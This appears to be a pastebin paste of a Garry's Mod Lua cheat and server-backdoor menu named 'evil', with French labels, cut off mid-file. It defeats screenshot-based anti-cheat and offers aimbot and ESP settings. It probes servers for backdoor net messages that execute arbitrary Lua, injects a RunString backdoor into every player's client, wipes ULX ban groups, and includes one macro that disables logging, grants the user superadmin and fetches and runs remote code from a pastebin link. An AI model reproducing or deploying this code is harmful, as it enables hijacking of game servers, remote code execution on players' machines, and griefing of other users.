· 5 years ago · Mar 05, 2020, 10:25 PM
1MsgC (Color(255, 73, 73), [[
2
3evil loaded press left alt to open the hack
4]])
5print("\n")
6
7
8chat.AddText(Color(0, 0, 0), "[", "evil", "] ", Color( 255, 255, 255 ), "Menu ui files found" )
9
10local me = LocalPlayer()
11
12
13/*================================
14|===== evil BDMenu =====|
15=================================*/
16
17local ss = false
18
19local renderv = render.RenderView
20local renderc = render.Clear
21local rendercap = render.Capture
22local vguiworldpanel = vgui.GetWorldPanel
23
24local function screengrab()
25if ss then return end
26ss = true
27
28renderc( 0, 0, 0, 255, true, true )
29renderv( {
30origin = LocalPlayer():EyePos(),
31angles = LocalPlayer():EyeAngles(),
32x = 0,
33y = 0,
34w = ScrW(),
35h = ScrH(),
36dopostprocess = true,
37drawhud = true,
38drawmonitors = true,
39drawviewmodel = true
40} )
41
42local vguishits = vguiworldpanel()
43
44if IsValid( vguishits ) then
45vguishits:SetPaintedManually( true )
46end
47
48timer.Simple( 0.1, function()
49vguiworldpanel():SetPaintedManually( false )
50ss = false
51end)
52end
53
54render.Capture = function(data)
55screengrab()
56local cap = rendercap( data )
57return cap
58end
59
60local blur = Material("pp/blurscreen")
61local function DrawBlur(panel, amount)
62local x, y = panel:LocalToScreen(0, 0)
63local scrW, scrH = ScrW(), ScrH()
64surface.SetDrawColor(255, 255, 255)
65surface.SetMaterial(blur)
66for i = 1, 3 do
67blur:SetFloat("$blur", (i / 3) * (amount or 6))
68blur:Recompute()
69render.UpdateScreenEffectTexture()
70surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
71end
72end
73
74if (_G.QAC or _G.CAC) then
75chat.AddText(Color( 0, 0, 0), "[evil] ", Color( 255, 114, 114 ), "Cake AntiCheat is on this server!" )
76else
77net.SendToServer()
78end
79
80
81if (_G.ulx or _G.ulib) then
82net.SendToServer()
83else
84chat.AddText(Color( 0, 0, 0), "[evil] ", Color( 255, 114, 114 ), "Ulx might be on this server" )
85end
86
87if file.Exists("snte_source.lua","LUA") == true or file.Exists ( "autorun/server/snte_source.lua", "LUA" ) == true then
88chat.AddText(Color( 0, 0, 0), "[evil] ", Color( 255, 114, 114 ), "SNTE is on this server!!!!" )
89snte=true
90else
91snte=false
92end
93
94if file.Exists( "autorun/server/anti-bhop.lua", "GAME" ) == true then
95chat.AddText(Color( 0, 0, 0), "[evil] ", Color( 255, 114, 114 ), "C0nw0nks Anticheat is on this server" )
96else
97net.SendToServer()
98end
99
100if file.Exists( "cl_HAC.lua", "LUA" ) == true or file.Exists( "autorun/server/sv_HAC.lua", "LUA" ) == true then
101chat.AddText(Color( 0, 0, 0), "[evil] ", Color( 255, 114, 114 ), "Hex's Anticheat is on this server" )
102else
103net.SendToServer()
104end
105
106
107
108
109/*===================================== fiji_
110|===== evil Fonts =====|
111======================================*/
112
113
114surface.CreateFont("evilersave", {font = "Arial", size = 80,weight = 1000, antialias = 0})
115surface.CreateFont("evil_home1",{font = "Arial", size = 60, weight = 2000, antialias = 0})
116surface.CreateFont("evil_home2",{font = "Arial", size = 13, weight = 1000, antialias = 0})
117surface.CreateFont("evil_home3",{font = "Arial", size = 15, weight = 2, antialias = 0})
118surface.CreateFont("evil_home4",{font = "Arial", size = 20, weight = 2000, antialias = 0})
119surface.CreateFont("evil_home5",{font = "Arial", size = 13, weight = 100, antialias = 0})
120surface.CreateFont("PRINTERDETECT", {font = "", size = 20,weight = 1000, antialias = 0})
121surface.CreateFont("evil_homeBTN",{font = "Roboto", size = 13, weight = 100, shadow = true, italic = true, antialias = 0})
122surface.CreateFont("evil_homemini",{font = "Arial", size = 12, weight = 0, antialias = 0})
123
124--fun
125local fiji_fun_bunnyhop = CreateClientConVar( "fiji_fun_bunnyhop", "0", true )
126local fiji_fun_spamlight = CreateClientConVar( "fiji_fun_spamlight", "0", true )
127local fiji_fun_spamrope = CreateClientConVar( "fiji_fun_spamrope", "0", true )
128local fiji_fun_thperson = CreateClientConVar( "fiji_fun_thperson", "0", true )
129local fiji_fun_radar = CreateClientConVar( "fiji_fun_radar", "0", true )
130local fiji_fun_radartech = CreateClientConVar( "fiji_fun_radartech", "0", true )
131local fiji_fun_miroir = CreateClientConVar( "fiji_fun_miroir", "0", true )
132local fiji_fun_screengrab = CreateClientConVar( "fiji_fun_screengrab", "1", true )
133
134--crosshair
135local fiji_fun_crosshair = CreateClientConVar( "fiji_fun_crosshair", "0", true )
136local fiji_fun_crosshaircolor1 = CreateClientConVar( "fiji_fun_crosshaircolor1", "255", true )
137local fiji_fun_crosshaircolor2 = CreateClientConVar( "fiji_fun_crosshaircolor2", "0", true )
138local fiji_fun_crosshaircolor3 = CreateClientConVar( "fiji_fun_crosshaircolor3", "0", true )
139local fiji_fun_crosshaircolortype = CreateClientConVar( "fiji_fun_crosshaircolortype", "0", true )
140local fiji_fun_crosshairstyle = CreateClientConVar( "fiji_fun_crosshairstyle", "1", true )
141local fiji_fun_crosshairtaille = CreateClientConVar( "fiji_fun_crosshairtaille", "1", true )
142
143local fiji_aimbot_active = CreateClientConVar( "fiji_aimbot_active", "0", true )
144local fiji_aimbot_wall = CreateClientConVar( "fiji_aimbot_wall", "0", true )
145local fiji_aimbot_friends = CreateClientConVar( "fiji_aimbot_friends", "0", true )
146local fiji_aimbot_team = CreateClientConVar( "fiji_aimbot_team", "0", true )
147local fiji_aimbot_admin = CreateClientConVar( "fiji_aimbot_admin", "0", true )
148local fiji_aimbot_key = CreateClientConVar( "fiji_aimbot_key", KEY_W, true )
149local fiji_aimbot_fov = CreateClientConVar( "fiji_aimbot_fov", "180", true )
150local fiji_aimbot_dist = CreateClientConVar( "fiji_aimbot_dist", "1500", true )
151local fiji_aimbot_propa = CreateClientConVar( "fiji_aimbot_propa", 0 )
152local fiji_aimbot_relock = CreateClientConVar( "fiji_aimbot_relock", "0", true ) -- auto reviser
153local fiji_aimbot_attack = CreateClientConVar( "fiji_aimbot_attack", "chest", true ) -- choisir zone
154
155
156local fiji_triggerbot_active = CreateClientConVar( "fiji_triggerbot_active", 0 )
157local fiji_triggerbot_opti = CreateClientConVar( "fiji_triggerbot_opti", 0 )
158local fiji_triggerbot_real = CreateClientConVar( "fiji_triggerbot_real", 0 )
159local fiji_triggerbot_team = CreateClientConVar( "fiji_triggerbot_team", 0 )
160local fiji_triggerbot_wall = CreateClientConVar( "fiji_triggerbot_wall", 0 )
161local fiji_triggerbot_friends = CreateClientConVar( "fiji_triggerbot_friends", 0 )
162
163local fiji_menu_princ_color = CreateClientConVar( "fiji_menu_princ_color", "50", true, false )
164local fiji_menu_sec_color = CreateClientConVar( "fiji_menu_sec_color", "50", true, false )
165local fiji_menu_th_color = CreateClientConVar( "fiji_menu_th_color", "50", true, false )
166local fiji_style_menu = CreateClientConVar( "fiji_style_menu", "3", true, false )
167
168local fiji_principal_color = CreateClientConVar( "fiji_principal_color", "255", true, false )
169local fiji_secondary_color = CreateClientConVar( "fiji_secondary_color", "0", true, false )
170local fiji_third_color = CreateClientConVar( "fiji_third_color", "0", true, false )
171local fiji_principal_color_infos = CreateClientConVar( "fiji_principal_color_infos", "255", true, false )
172local fiji_secondary_color_infos = CreateClientConVar( "fiji_secondary_color_infos", "255", true, false )
173local fiji_third_color_infos = CreateClientConVar( "fiji_third_color_infos", "255", true, false )
174local fiji_principal_color_ent = CreateClientConVar( "fiji_principal_color_ent", "255", true, false )
175local fiji_secondary_color_ent = CreateClientConVar( "fiji_secondary_color_ent", "0", true, false )
176local fiji_third_color_ent = CreateClientConVar( "fiji_third_color_ent", "0", true, false )
177local fiji_principal_color_props = CreateClientConVar( "fiji_principal_color_props", "255", true, false )
178local fiji_secondary_color_props = CreateClientConVar( "fiji_secondary_color_props", "0", true, false )
179local fiji_third_color_props = CreateClientConVar( "fiji_third_color_props", "0", true, false )
180local fiji_style_player = CreateClientConVar( "fiji_style_player", "0", true, false )
181local fiji_principal_color_player = CreateClientConVar( "fiji_principal_color_player", "255", true, false )
182local fiji_secondary_color_player = CreateClientConVar( "fiji_secondary_color_player", "0", true, false )
183local fiji_third_color_player = CreateClientConVar( "fiji_third_color_player", "0", true, false )
184
185local fiji_vision_enable = CreateClientConVar( "BD_hitman_enable", 1 )
186local fiji_vision_enable_ent = CreateClientConVar( "BD_hitman_enable_ent", 0 )
187local fiji_vision_enable_props = CreateClientConVar( "BD_hitman_enable_props", 0 )
188local fiji_vision_type = CreateClientConVar( "BD_hitman_type", 1 )
189local fiji_vision_infos_name = CreateClientConVar( "BD_hitman_infos_name", 1 )
190local fiji_vision_infos_weapons = CreateClientConVar( "BD_hitman_infos_weapons", 1 )
191local fiji_vision_infos_health = CreateClientConVar( "BD_hitman_infos_health", 1 )
192local fiji_vision_distance = CreateClientConVar( "BD_hitman_distance", 7000 )
193local fiji_vision_distance_infos = CreateClientConVar( "BD_hitman_distance_infos", 800 )
194local fiji_vision_distance_ent = CreateClientConVar( "BD_hitman_distance_ent", 800 )
195local fiji_vision_distance_props = CreateClientConVar( "BD_hitman_distance_props", 800 )
196local fiji_vision_enable_enthalo = CreateClientConVar( "fiji_vision_enable_enthalo", 1 )
197local fiji_vision_enable_enttext = CreateClientConVar( "fiji_vision_enable_enttext", 1 )
198
199
200local physgun_wheelspeed = CreateClientConVar( "physgun_wheelspeed", "100", true, false )
201
202local fiji_evillogo = Material( "addons/base_ui_gmod/mat/evillogo.png" )
203local fiji_evilhome = Material( "addons/base_ui_gmod/mat/evilhome.png" )
204local fiji_evilesp = Material( "addons/base_ui_gmod/mat/evilesp.png" )
205local fiji_evilaimbot = Material( "addons/base_ui_gmod/mat/evilaimbot.png" )
206local fiji_evilmisc = Material( "addons/base_ui_gmod/mat/evilmisc.png" )
207local fiji_evilexploits = Material( "addons/base_ui_gmod/mat/evilexploits.png" )
208local fiji_evilbackdoors = Material( "addons/base_ui_gmod/mat/evilbackdoors.png" )
209local fiji_evilconfig = Material( "addons/base_ui_gmod/mat/evilconfig.png" )
210local fiji_evildiscordwidget = Material( "addons/base_ui_gmod/mat/evildiscordwidget.png" )
211
212
213local fiji_exist_contentevil = CreateClientConVar( "fiji_exist_contentevil", 0 )
214
215local fiji_evilhover = "mat/evilhover2.wav"
216local fiji_evilclick = "mat/evilclick2.wav"
217
218local fiji_sv_existmen = CreateClientConVar( "fiji_sv_existmen", 0 )
219
220
221--[[if file.Exists( "addons/evil/field_constant.lua", "GAME" ) == true or file.Exists( "field_constant.lua", "LUA" ) == true then
222LocalPlayer():ConCommand("fiji_exist_contentevil 1")
223else
224LocalPlayer():ConCommand("fiji_exist_contentevil 0")
225chat.AddText(Color( 0, 0, 0), "[evil] ", Color( 255, 114, 114 ), "ERREUR - Vous n'avez pas installé les contents du menu." )
226end ]]--
227
228if file.Exists( "addons/base_ui_gmod/mat/evillogo.png", "GAME" ) == true then
229LocalPlayer():ConCommand("fiji_exist_contentevil 1")
230else
231LocalPlayer():ConCommand("fiji_exist_contentevil 0")
232chat.AddText(Color( 0, 0, 0), "[evil] ", Color( 255, 114, 114 ), "ERREUR - Vous n'avez pas installé les contents du menu." )
233end
234
235hook.Add("Think", "RGBSTF", function()
236local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
237
238if fiji_style_player:GetInt() == 1 then
239LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
240LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
241else
242LocalPlayer():SetWeaponColor( Vector( fiji_principal_color_player:GetInt(),fiji_secondary_color_player:GetInt(),fiji_third_color_player:GetInt(), 255 ) )
243LocalPlayer():SetPlayerColor(Vector( fiji_principal_color_player:GetInt(),fiji_secondary_color_player:GetInt(),fiji_third_color_player:GetInt(), 255 ) )
244end
245end)
246
247
248/*=====================================
249|===== evil Backdoors =====|
250======================================*/
251
252
253local hide = {
254CHudCrosshair = true,
255}
256
257local triangle = {
258{ x = 50, y = 100 },
259{ x = 75, y = 50 },
260{ x = 100, y = 200 }
261
262}
263
264hook.Add( "HUDShouldDraw", "HideHUD", function( name )
265if( fiji_fun_crosshair:GetInt() == 1 ) then
266if ( hide[ name ] ) then return false end
267end
268end )
269local function FillRGBA(x,y,w,h,col)
270surface.SetDrawColor( col.r, col.g, col.b, col.a );
271surface.DrawRect( x, y, w, h );
272end
273local function DrawCrosshair()
274
275local w = ScrW() / 2.003;
276local h = ScrH() / 2;
277local stretch = fiji_fun_crosshairtaille:GetInt()
278
279if not LocalPlayer():InVehicle() then
280if fiji_fun_crosshairstyle:GetInt() == 1 then
281if fiji_fun_crosshaircolortype:GetInt() == 1 then
282FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h , fiji_fun_crosshairtaille:GetInt() + 30, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) );
283FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2, fiji_fun_crosshairtaille:GetInt() + 30, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) );
284elseif fiji_fun_crosshaircolortype:GetInt() == 2 then
285FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h , fiji_fun_crosshairtaille:GetInt() + 30, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) );
286FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2, fiji_fun_crosshairtaille:GetInt() + 30, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) );
287else
288FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h , fiji_fun_crosshairtaille:GetInt() + 30, 2, Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ) );
289FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2, fiji_fun_crosshairtaille:GetInt() + 30, Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ) );
290end
291elseif fiji_fun_crosshairstyle:GetInt() == 2 then
292if fiji_fun_crosshaircolortype:GetInt() == 1 then
293surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
294surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
295elseif fiji_fun_crosshaircolortype:GetInt() == 2 then
296surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
297surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
298else
299surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9, Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ))
300surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ))
301end
302
303end
304end
305end
306
307
308
309function DrawXHair()
310if( fiji_fun_crosshair:GetInt() == 1 ) then
311DrawCrosshair();
312end
313end
314hook.Add( "HUDPaint", "DrawXHair", DrawXHair );
315
316local BD = {}
317local h = http
318
319
320BD.Backdoors = BD.Backdoors or {}
321
322BD.BackdoorTypes = {
323
324["Fpp"] = {
325
326["Code"] = "util.AddNetworkString( 'data_check' ) net.Receive( 'data_check', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
327
328["Netkey"] = "data_check",
329
330},
331
332}
333
334
335
336
337local netsss = net.Start
338
339function BD.IsMessagePooled( netmessage )
340
341local netfunc = netsss
342
343local status, error = pcall( netfunc, netmessage )
344
345return status
346
347end
348
349function ValidNetString( str )
350local status, error = pcall( net.Start, str )
351return status
352end
353
354local net = net
355
356
357local ctxt = chat.AddText
358
359function BD.ChatText( message, col )
360
361ctxt( Color(255, 114, 114), "[evil] ", col, message )
362
363end
364
365function CHATPRINT( str )
366end
367
368
369
370
371
372
373function BD.PingBackDoors()
374
375local bds = {}
376
377for k, v in pairs(BD.BackdoorTypes) do
378
379if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
380
381end
382
383return bds
384
385end
386
387concommand.Add("bd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
388
389
390
391function BD.BackdoorActive()
392
393return table.Count( BD.Backdoors ) > 0
394
395end
396
397
398
399if fiji_fun_crosshair:GetInt() == 1 then
400DrawCrosshair();
401else end
402
403
404
405local function CommandesDraw()
406if fiji_fun_radar:GetInt() == 2 then
407local pitch = -2
408if pitch < 0 then pitch = pitch * LocalPlayer():EyeAngles().p end
409local yaw = 180
410if yaw < 0 then yaw = yaw * LocalPlayer():EyeAngles().y end
411local roll = 0
412if roll < 0 then roll = roll * LocalPlayer():EyeAngles().r end
413local Cam = {}
414Cam.angles = Angle( LocalPlayer():EyeAngles().p + pitch, LocalPlayer():EyeAngles().y + yaw, LocalPlayer():EyeAngles().r + roll )
415Cam.origin = LocalPlayer():GetShootPos()
416Cam.x = 0
417Cam.y = 0
418Cam.w = 200
419Cam.h = 200
420render.RenderView( Cam )
421surface.SetDrawColor( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt() )
422surface.DrawOutlinedRect( 0, 0, 200,200 )end
423
424if fiji_fun_radar:GetInt() == 1 then
425local Cam = {}
426Cam.angles = Angle( 90, LocalPlayer():EyeAngles().y, 0 )
427local Zvar = 2000
428local trace = {}
429trace.start = LocalPlayer():GetPos() + Vector( 0, 0, 5 )
430trace.endpos = LocalPlayer():GetPos() + Vector( 0, 0, 2000 )
431trace.filter = LocalPlayer()
432if util.TraceLine( trace ).Hit then
433Zvar = util.TraceLine( trace ).HitPos.z - 5 - LocalPlayer():GetPos().z
434
435end
436surface.SetDrawColor( 30, 30, 30, 255 )
437surface.DrawRect( 0,0,200,200 )
438Cam.origin = LocalPlayer():GetPos() + Vector( 0, 0, Zvar )
439Cam.x = 0
440Cam.y = 0
441Cam.w = 200
442Cam.h = 200
443
444
445surface.SetDrawColor( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt() )
446surface.DrawOutlinedRect( 0, 0, 200,200 )
447
448 local size = 200
449 local fov = 28
450 local x = 0
451 local y = 0
452for key, ply in pairs(player.GetAll()) do
453
454 local teamcol = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
455
456 local lx = me:GetPos().x - ply:GetPos().x
457 local ly = me:GetPos().y - ply:GetPos().y
458 local ang = EyeAngles().y
459 local cos = math.cos(math.rad(-ang))
460 local sin = math.sin(math.rad(-ang))
461 local px = (ly * cos) + (lx * sin)
462 local py = (lx * cos) - (ly * sin)
463 px = px / fov
464 py = py / fov
465 px = math.Clamp(px, -(size * 0.50), size * 0.50)
466 py = math.Clamp(py, -(size * 0.50), size * 0.50)
467 if ply:GetPos():Distance( LocalPlayer():GetPos() ) > 2500 then continue end
468 if ply != me then
469 local name = player.GetAll()[key]:Nick()
470 local job = player.GetAll()[key]:Team()
471 draw.SimpleText(name, "evil_homemini", x + size - (size * 0.50) + px - 13, y + size - (size * 0.56) + py - 7, teamcol, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
472 draw.SimpleText(job, "evil_homemini", x + size - (size * 0.50) + px - 13, y + size - (size * 0.50) + py - 7, teamcol, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
473 end
474 if ply != me then
475 surface.SetDrawColor(teamcol)
476 surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py, 3, 3)
477 else
478 surface.SetDrawColor(255,255,255)
479 surface.DrawRect(x + size - (size * 0.51) + px, y + size - (size * 0.50) + py, 5, 5)
480
481 end
482 surface.DrawLine(x, y, x + (size / 2), y + (size / 2))
483 surface.DrawLine(x + size, y, x + (size / 2), y + (size / 2))
484
485--surface.SetDrawColor( 255, 255, 255, 255 )
486--surface.DrawRect( ScrW() / 2 - 1, ScrH() / 2 - 1, 2, 2 )
487end
488end
489end
490hook.Add( "HUDPaint", "LESP", CommandesDraw )
491
492hook.Add("Think", "fijispamlight", function(ucmd, origin, angles, calcview, fov, p, o, a, f, aaaaa )
493if fiji_fun_spamlight:GetInt() == 1 then
494if input.IsKeyDown(KEY_F) then me:ConCommand("impulse 100") end
495end
496
497end)
498hook.Add("Think", "fijifolie", function(ucmd, origin, angles, calcview, fov, p, o, a, f, aaaaa )
499if fiji_fun_spamrope:GetInt() == 1 then
500if input.IsKeyDown(KEY_H) then
501
502local fijiangle = Angle(math.random(-90, 90), math.random(-180, 180), 0)
503
504me:SetEyeAngles( fijiangle )
505
506end end
507end)
508
509local fijibhop = false
510hook.Add("Think", "fijibhop", function()
511if fiji_fun_bunnyhop:GetInt() == 1 then
512if (input.IsKeyDown( KEY_SPACE ) ) then
513if LocalPlayer():IsOnGround() then
514RunConsoleCommand("+jump")
515HasJumped = 1
516else
517RunConsoleCommand("-jump")
518HasJumped = 0
519end
520elseif fiji_fun_bunnyhop:GetInt() == 0 and LocalPlayer():IsOnGround() then
521if HasJumped == 1 then
522RunConsoleCommand("-jump")
523HasJumped = 0
524end
525end
526end
527end)
528
529
530if fiji_fun_thperson:GetInt() == 1 then
531
532hook.Add( "CalcView", "ThirdPerson", function(ply, pos, angles, fov)
533 local ThirdPerson = {}
534 if fiji_fun_thperson:GetInt() == 1 then
535 ThirdPerson.origin = pos-( angles:Forward()*100 )
536 ThirdPerson.angles = angles
537 ThirdPerson.fov = fov
538 ThirdPerson.drawviewer = true
539 return ThirdPerson
540 elseif fiji_fun_thperson:GetInt() == 1 then
541 ThirdPerson.origin = pos-( angles:Forward() )
542 ThirdPerson.angles = angles
543 ThirdPerson.fov = fov
544 end
545end)
546
547end
548
549function BD.IsDead( ply )
550if !ply:IsValid() or !ply:Alive() or ply:GetObserverMode() != OBS_MODE_NONE then return true end
551return false
552end
553
554function BD.GetActive()
555
556if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
557
558return BD.BackdoorTypes[BD.CurrentBackdoor]
559
560end
561
562
563
564BD.BDMacros ={
565
566
567
568
569/*===========================================
570|===== Commandes Sur Tout Les Joueurs =====|
571============================================*/
572
573
574
575
576
577["Armageddon"] = {
578
579["Type"] = 1,
580
581["Code"] = [[if !bombstrike then
582
583hook.Add("Think", "lulz_bombstrike", function()
584
585local explode = ents.Create( "env_explosion" )
586
587local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
588
589local trc = {}
590
591trc.start = ps
592
593trc.endpos = ps + Vector( 0, 0, -99999)
594
595local tr = util.TraceLine(trc)
596
597if !tr.Hit then return end
598
599explode:SetPos( tr.HitPos )
600
601explode:Spawn()
602
603explode:SetKeyValue( "iMagnitude", "400" )
604
605explode:Fire( "Explode", 0, 0 )
606
607end)
608
609bombstrike = true
610
611else
612
613hook.Remove("Think", "lulz_bombstrike")
614
615bombstrike = false
616
617end]],
618
619},
620
621
622
623
624
625["Injecter Backdoor"] = {
626
627["Type"] = 1,
628
629["Code"] = [[
630
631util.AddNetworkString( "fijiconn" )
632
633function BDSendLua( p, str ) net.Start( "fijiconn" ) net.WriteString( str ) net.Send( p ) end
634
635function BDSendLuaAll( str ) net.Start( "fijiconn" ) net.WriteString( str ) net.Broadcast() end
636
637function BDInjectAids( p ) p:SendLua( 'net.Receive( "fijiconn", function() RunString( net.ReadString() ) end )' ) end
638
639for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
640
641hook.Add( "PlayerInitialSpawn", "evilisyourfriend", function( p ) BDInjectAids( p ) end)
642
643]],
644
645
646},
647
648
649
650["Annonce au Joueurs"] = {
651
652["Type"] = 1,
653
654["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
655
656["NeedsParameters"] = 1,
657
658},
659
660
661
662["Changer pseudos"] = {
663
664["Type"] = 1,
665
666["Code"] = [[ for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, @1) v:setDarkRPVar("rpname", @1) end ]],
667
668["NeedsParameters"] = 1,
669
670},
671
672
673["Spam Chat"] = {
674
675["Type"] = 1,
676
677["Code"] = [[
678
679if !timer.Exists( "wutckoasa" ) then
680
681timer.Create( "wutckoasa", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
682
683else
684
685timer.Remove( "wutckoasa" )
686
687end]],
688
689["NeedsParameters"] = 1,
690
691},
692
693
694
695["Ouvrir les portes"] = {
696
697["Type"] = 1,
698
699["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
700
701
702},
703
704
705
706
707
708["♾ Verre cassé"] = {
709
710["Type"] = 1,
711
712["Code"] = [[
713
714if !timer.Exists( "A true masterpiece" ) then
715
716timer.Create( "A true masterpiece", 0.2, 0, function()
717
718for _, p in pairs(player.GetAll()) do
719
720p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
721
722end
723
724end)
725
726else
727
728timer.Remove( "A true masterpiece" )
729
730end]],
731
732},
733
734
735
736["♾ Yeeaahh !"] = {
737
738["Type"] = 1,
739
740["Code"] = [[
741
742if !timer.Exists( "porn" ) then
743
744timer.Create( "porn", 0.3, 0, function()
745
746for _, p in pairs(player.GetAll()) do
747
748p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
749
750end
751
752end)
753
754else
755
756timer.Remove( "porn" )
757
758end]],
759
760},
761
762["♾ Boxeur"] = {
763
764["Type"] = 1,
765
766["Code"] = [[
767
768if !timer.Exists( "impakt" ) then
769
770timer.Create( "impakt", 0.3, 0, function()
771
772for _, p in pairs(player.GetAll()) do
773
774p:EmitSound( "physics/body/body_medium_impact_hard1.wav", 100, math.random( 90, 120 ) )
775
776end
777
778end)
779
780else
781
782timer.Remove( "impakt" )
783
784end]],
785
786},
787
788["♾ Cloche"] = {
789
790["Type"] = 1,
791
792["Code"] = [[
793if !timer.Exists( "pimpon" ) then
794
795timer.Create( "pimpon", 0.3, 0, function()
796
797for _, p in pairs(player.GetAll()) do
798
799p:EmitSound( "ambient/alarms/warningbell1.wav", 100, math.random( 90, 120 ) )
800
801end
802
803end)
804
805else
806
807timer.Remove( "pimpon" )
808
809end
810]],
811
812},
813
814["♾ Guerre civil"] = {
815
816["Type"] = 1,
817
818["Code"] = [[
819
820if !timer.Exists( "cwar" ) then
821
822timer.Create( "cwar", 1, 0, function()
823
824for _, p in pairs(player.GetAll()) do
825
826p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
827
828end
829
830end)
831
832else
833
834timer.Remove( "cwar" )
835
836end]],
837
838},
839
840
841
842["Séisme"] = {
843
844["Type"] = 1,
845
846["Code"] = [[
847
848if !timer.Exists( "earthquake" ) then
849
850timer.Create( "earthquake", 0.5, 500, function()
851
852for _, p in pairs(player.GetAll()) do
853
854p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
855
856p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
857
858util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
859
860p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
861
862end
863
864
865
866for _, e in pairs(ents.GetAll()) do
867
868if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
869
870end
871
872
873end)
874
875else
876
877timer.Remove( "earthquake" )
878
879end]],
880
881},
882
883
884
885["Exploser les véhicules"] = {
886
887["Type"] = 1,
888
889["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
890
891local explo = ents.Create("env_explosion")
892
893explo:SetPos(v:GetPos())
894
895explo:SetKeyValue("iMagnitude", "300")
896
897explo:Spawn()
898
899explo:Activate()
900
901explo:Fire("Explode", "", 0)
902
903end
904
905end]],
906
907},
908
909
910
911["Commande RCON"] = {
912
913["Type"] = 1,
914
915["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
916
917["NeedsParameters"] = 1,
918
919},
920
921
922["'Supprimer Ulx"] = {
923
924["Type"] = 1,
925
926["Code"] = [[ULib.Ban = function() return false end
927
928ULib.addBan = function() return end
929
930ULib.kick = function() return end
931if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end
932if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end]],
933
934["Private"] = true,
935
936},
937
938["''eviler the server † "] = {
939
940["Type"] = 1,
941
942["Code"] = [[ RunConsoleCommand("ulx_logecho", "0")
943RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[", "superadmin")
944http.Fetch("https://pastebin.com/RS2EcJnp", function(b, l, h, c)RunString(b)end,nil)
945]],
946
947["Private"] = true,
948
949},
950
951
952["♾ Tousse arrrghh"] = {
953
